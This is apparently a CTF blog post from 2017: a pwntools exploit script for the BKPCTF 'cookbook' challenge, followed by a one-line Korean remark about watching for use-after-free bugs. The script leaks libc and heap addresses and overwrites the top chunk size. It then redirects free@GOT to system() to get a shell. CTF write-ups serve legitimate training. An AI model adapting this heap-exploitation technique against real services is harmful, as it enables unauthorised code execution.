Pwnable/CTF
BKPCTF cookbook
HSr00t
2017. 3. 31. 07:59
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | from pwn import * p=remote("localhost",9001) def Quit(): p.recvuntil('[q]uit\n') free_got=0x804D018 printf_got=0x804d010 __libc_start_main_got=0x804D03C print p.recvuntil('name?\n') p.sendline("/bin/sh\00") def create_nd(input): #new and discard and quit Quit() p.sendline("c") Quit() p.sendline(str(input)) def create_print(): global system Quit() p.sendline("c") Quit() p.sendline("p") p.recvuntil('recipe type: ') setv_buf=u32(p.recv(4)) print "setv_buf libc : " + hex(setv_buf) system=setv_buf-0x27090 print "system : " + hex(system) def give_your(size,data): Quit() p.sendline("g") p.recvuntil(': ') p.sendline(str(size)) p.sendline(str(data)) buf_got=0x804d040 leak="\x00"*124+p32(buf_got) #libc_leak HEAP_leak="\x00"*124+p32(0x0804D0A0) #heap leak top_int="\x00"*896+"\xff\xff\xff\xff" #top chunk create_nd("n") create_nd("d") create_nd("q") give_your(0x40c,leak) create_print() Quit() p.sendline("n") Quit() p.sendline("d") Quit() p.sendline("q") Quit() p.sendline("g") p.recvuntil(' : ') p.sendline("40c") p.sendline(HEAP_leak) Quit() p.sendline("c") Quit() p.sendline("p") print p.recvuntil('recipe type: ') heap=u32(p.recv(4)) print "heap : " + hex(heap) TOP_CHUNK=heap + 1040 + 1040 fake_size= hex((free_got - TOP_CHUNK )-8 ) print "TOP CHUNK : " + hex(TOP_CHUNK) print "fake size : " + (fake_size) print "#### Exploit Start ####" Quit() p.sendline("q") Quit() p.sendline("c") Quit() p.sendline("n") Quit() p.sendline("i") p.sendline(top_int) Quit() p.sendline("q") Quit() p.sendline("g") print p.recvuntil(' : ') p.sendline(fake_size) Quit() p.sendline("g") print p.recvuntil(' : ') p.sendline("5") #Address 4byte + NULL 1byte p.sendline(p32(system)) Quit() p.sendline("q") p.interactive() | cs |
UAF 취약점이 있는지 잘봐야겠다.